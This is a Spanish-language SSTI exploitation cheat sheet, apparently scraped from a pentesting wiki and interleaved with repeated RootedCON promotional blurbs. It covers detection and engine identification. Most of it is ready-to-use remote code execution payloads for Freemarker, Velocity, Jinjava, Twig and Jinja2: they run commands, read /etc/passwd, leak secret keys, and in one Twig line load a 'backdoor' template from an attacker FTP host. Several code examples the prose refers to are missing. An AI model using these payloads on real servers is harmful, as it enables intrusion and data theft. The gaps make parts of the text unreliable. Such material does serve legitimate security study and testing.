RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en cada disciplina.
¿Qué es SSTI (Server-Side Template Injection)?
La inyección de plantillas del lado del servidor es una vulnerabilidad que ocurre cuando un atacante puede inyectar código malicioso en una plantilla que se ejecuta en el servidor. Esta vulnerabilidad se puede encontrar en varias tecnologías, incluyendo Jinja.
Jinja es un motor de plantillas popular utilizado en aplicaciones web. Consideremos un ejemplo que demuestra un fragmento de código vulnerable utilizando Jinja:
En este código vulnerable, el parámetro name de la solicitud del usuario se pasa directamente a la plantilla utilizando la función render. Esto puede permitir potencialmente a un atacante inyectar código malicioso en el parámetro name, lo que lleva a la inyección de plantillas del lado del servidor.
Por ejemplo, un atacante podría crear una solicitud con una carga útil como esta:
El payload {{bad-stuff-here}} se inyecta en el parámetro name. Este payload puede contener directivas de plantilla Jinja que permiten al atacante ejecutar código no autorizado o manipular el motor de plantillas, potencialmente ganando control sobre el servidor.
Para prevenir vulnerabilidades de inyección de plantillas del lado del servidor, los desarrolladores deben asegurarse de que la entrada del usuario esté debidamente saneada y validada antes de ser insertada en las plantillas. Implementar validación de entrada y utilizar técnicas de escape conscientes del contexto puede ayudar a mitigar el riesgo de esta vulnerabilidad.
Detección
Para detectar la Inyección de Plantillas del Lado del Servidor (SSTI), inicialmente, fuzzing de la plantilla es un enfoque sencillo. Esto implica inyectar una secuencia de caracteres especiales (${{<%[%'"}}%\) en la plantilla y analizar las diferencias en la respuesta del servidor a datos regulares frente a este payload especial. Los indicadores de vulnerabilidad incluyen:
Errores lanzados, revelando la vulnerabilidad y potencialmente el motor de plantillas.
Ausencia del payload en la reflexión, o partes de él faltantes, lo que implica que el servidor lo procesa de manera diferente a los datos regulares.
Contexto de Texto Plano: Distinguir de XSS verificando si el servidor evalúa expresiones de plantilla (por ejemplo, {{7*7}}, ${7*7}).
Contexto de Código: Confirmar la vulnerabilidad alterando los parámetros de entrada. Por ejemplo, cambiando greeting en http://vulnerable-website.com/?greeting=data.username para ver si la salida del servidor es dinámica o fija, como en greeting=data.username}}hello devolviendo el nombre de usuario.
Fase de Identificación
Identificar el motor de plantillas implica analizar mensajes de error o probar manualmente varios payloads específicos de lenguaje. Los payloads comunes que causan errores incluyen ${7/0}, {{7/0}}, y <%= 7/0 %>. Observar la respuesta del servidor a operaciones matemáticas ayuda a identificar el motor de plantillas específico.
una tabla interactiva que contiene los poliglotas de inyección de plantillas más eficientes junto con las respuestas esperadas de los 44 motores de plantillas más importantes.
Explotaciones
Genérico
En esta lista de palabras puedes encontrar variables definidas en los entornos de algunos de los motores mencionados a continuación:
${7*7}${{7*7}}${class.getClassLoader()}${class.getResource("").getPath()}${class.getResource("../../../../../index.htm").getContent()}// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Recuperar las variables de entorno del sistema
<#assign ex ="freemarker.template.utility.Execute"?new()>${ ex("id")}[#assign ex ='freemarker.template.utility.Execute'?new()]${ ex('id')}${"freemarker.template.utility.Execute"?new()("id")}${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Bypass de sandbox
⚠️ solo funciona en versiones de Freemarker anteriores a 2.3.30
// I think this doesn't work#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end// This should work?#set($s="")#set($stringClass=$s.getClass())#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())#set($process=$runtime.exec("cat%20/flag563378e453.txt"))#set($out=$process.getInputStream())#set($null=$process.waitFor() )#foreach($i+in+[1..$out.available()])$out.read()#end
En Thymeleaf, una prueba común para vulnerabilidades SSTI es la expresión ${7*7}, que también se aplica a este motor de plantillas. Para la posible ejecución remota de código, se pueden usar expresiones como las siguientes:
Thymeleaf requiere que estas expresiones se coloquen dentro de atributos específicos. Sin embargo, se admite inlining de expresiones para otras ubicaciones de plantillas, utilizando sintaxis como [[...]] o [(...)]. Así, una carga útil de prueba SSTI simple podría verse como [[${7*7}]].
Sin embargo, la probabilidad de que esta carga útil funcione es generalmente baja. La configuración predeterminada de Thymeleaf no admite la generación dinámica de plantillas; las plantillas deben estar predefinidas. Los desarrolladores tendrían que implementar su propio TemplateResolver para crear plantillas a partir de cadenas sobre la marcha, lo cual es poco común.
Thymeleaf también ofrece preprocesamiento de expresiones, donde las expresiones dentro de dobles guiones bajos (__...__) son preprocesadas. Esta característica se puede utilizar en la construcción de expresiones, como se demuestra en la documentación de Thymeleaf:
#{selection.__${sel.code}__}
Ejemplo de Vulnerabilidad en Thymeleaf
Considera el siguiente fragmento de código, que podría ser susceptible a explotación:
Esto indica que si el motor de plantillas procesa estas entradas de manera incorrecta, podría llevar a la ejecución remota de código accediendo a URLs como:
{{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
{{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Busca "com.hubspot.content.hubl.context.TemplateContextRequest" y descubre el proyecto Jinjava en Github.
{{request.isDebug()}}//output: False//Using string 'a' to get an instance of class sun.misc.Launcher{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}//output: sun.misc.Launcher@715537d4//It is also possible to get a new object of the Jinjava class{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}//output: com.hubspot.jinjava.JinjavaConfig@78a56797//It was also possible to call methods on the created object by combining the{%%} and {{ }} blocks{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}{{ji.render('{{1*2}}')}}//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx//RCE{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e//RCE with org.apache.commons.io.IOUtils.{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution//Multiple arguments to the commandsPayload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Expression Language (EL) es una característica fundamental que facilita la interacción entre la capa de presentación (como páginas web) y la lógica de la aplicación (como beans gestionados) en JavaEE. Se utiliza ampliamente en múltiples tecnologías de JavaEE para agilizar esta comunicación. Las principales tecnologías de JavaEE que utilizan EL incluyen:
JavaServer Faces (JSF): Emplea EL para vincular componentes en páginas JSF a los datos y acciones correspondientes en el backend.
JavaServer Pages (JSP): EL se utiliza en JSP para acceder y manipular datos dentro de las páginas JSP, facilitando la conexión de elementos de la página con los datos de la aplicación.
Contexts and Dependency Injection for Java EE (CDI): EL se integra con CDI para permitir una interacción fluida entre la capa web y los beans gestionados, asegurando una estructura de aplicación más coherente.
Consulta la siguiente página para aprender más sobre la explotación de intérpretes de EL:
Groovy (Java)
Las siguientes elusiones del Security Manager se tomaron de este writeup.
RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en cada disciplina.
#Get Info{{_self}}#(Ref. to current application){{_self.env}}{{dump(app)}}{{app.request.server.all|join(',')}}#File read"{{'/etc/passwd'|file_excerpt(1,30)}}"@#Exec code{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}{{['id']|filter('system')}}{{['cat\x20/etc/passwd']|filter('system')}}{{['cat$IFS/etc/passwd']|filter('system')}}{{['id',""]|sort('system')}}#Hide warnings and errors for automatic exploitation{{["error_reporting","0"]|sort("ini_set")}}
Plates es un motor de plantillas nativo de PHP, que se inspira en Twig. Sin embargo, a diferencia de Twig, que introduce una nueva sintaxis, Plates aprovecha el código PHP nativo en las plantillas, lo que lo hace intuitivo para los desarrolladores de PHP.
Controlador:
// Create new Plates instance$templates =newLeague\Plates\Engine('/path/to/templates');// Render a templateecho $templates->render('profile', ['name'=>'Jonathan']);
<html><head><title>{PAGE_TITLE}</title></head><body><table><caption>Authors</caption><thead><tr><th>Name</th><th>Email</th></tr></thead><tfoot><tr><tdcolspan="2">{NUM_AUTHORS}</td></tr></tfoot><tbody><!-- BEGIN authorline --><tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr><!-- END authorline --></tbody></table></body></html>
authors.php
<?php//we want to display this author list$authors =array('Christian Weiske'=>'cweiske@php.net','Bjoern Schotte'=>'schotte@mayflower.de');require_once'HTML/Template/PHPLIB.php';//create template object$t =&newHTML_Template_PHPLIB(dirname(__FILE__),'keep');//load file$t->setFile('authors','authors.tpl');//set block$t->setBlock('authors','authorline','authorline_ref');//set some variables$t->setVar('NUM_AUTHORS',count($authors));$t->setVar('PAGE_TITLE','Code authors as of '.date('Y-m-d'));//display the authorsforeach ($authors as $name => $email) {$t->setVar('AUTHOR_NAME', $name);$t->setVar('AUTHOR_EMAIL', $email);$t->parse('authorline_ref','authorline',true);}//finish and echoecho $t->finish($t->parse('OUT','authors'));?>
patTemplate motor de plantillas PHP no compilable, que utiliza etiquetas XML para dividir un documento en diferentes partes
<patTemplate:tmplname="page">This is the main page.<patTemplate:tmplname="foo">It contains another template.</patTemplate:tmpl><patTemplate:tmplname="hello">Hello {NAME}.<br/></patTemplate:tmpl></patTemplate:tmpl>
Jinja2 es un motor de plantillas completo para Python. Tiene soporte completo de unicode, un entorno de ejecución integrado opcional en sandbox, es ampliamente utilizado y tiene licencia BSD.
{{7*7}} = Error
${7*7} = ${7*7}
{{foobar}} Nada
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% debug %}{{settings.SECRET_KEY}}{{4*4}}[[5*5]]{{7*'7'}} would result in7777777
Jinja2 - Formato de plantilla
{% extends "layout.html"%}{% block body %}<ul>{%for user in users %}<li><a href="{{ user.url }}">{{ user.username }}</a></li>{% endfor %}</ul>{% endblock %}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read()}}# Or in the shotest versions:{{ cycler.__init__.__globals__.os.popen('id').read()}}{{ joiner.__init__.__globals__.os.popen('id').read()}}{{ namespace.__init__.__globals__.os.popen('id').read()}}
El método .NET System.Diagnostics.Process.Start se puede usar para iniciar cualquier proceso en el servidor y así crear un webshell. Puedes encontrar un ejemplo de aplicación web vulnerable en https://github.com/cnotin/RazorVulnerableApp
Incluso si es perl, utiliza etiquetas como ERB en Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Error
<%= perl code %>
<% perl code %>
SSTI en GO
En el motor de plantillas de Go, la confirmación de su uso se puede hacer con cargas útiles específicas:
{{ . }}: Revela la estructura de datos de entrada. Por ejemplo, si se pasa un objeto con un atributo Password, {{ .Password }} podría exponerlo.
{{printf "%s" "ssti" }}: Se espera que muestre la cadena "ssti".
{{html "ssti"}}, {{js "ssti"}}: Estas cargas útiles deberían devolver "ssti" sin agregar "html" o "js". Se pueden explorar más directivas en la documentación de Go aquí.
Explotación de XSS
Con el paquete text/template, XSS puede ser directo al insertar la carga útil directamente. En contraste, el paquete html/template codifica la respuesta para prevenir esto (por ejemplo, {{"<script>alert(1)</script>"}} resulta en <script>alert(1)</script>). No obstante, la definición e invocación de plantillas en Go pueden eludir esta codificación: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
Explotación de RCE
La explotación de RCE difiere significativamente entre html/template y text/template. El módulo text/template permite llamar a cualquier función pública directamente (usando el valor “call”), lo cual no está permitido en html/template. La documentación para estos módulos está disponible aquí para html/template y aquí para text/template.
Para RCE a través de SSTI en Go, se pueden invocar métodos de objetos. Por ejemplo, si el objeto proporcionado tiene un método System que ejecuta comandos, se puede explotar como {{ .System "ls" }}. Acceder al código fuente suele ser necesario para explotar esto, como en el ejemplo dado:
RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.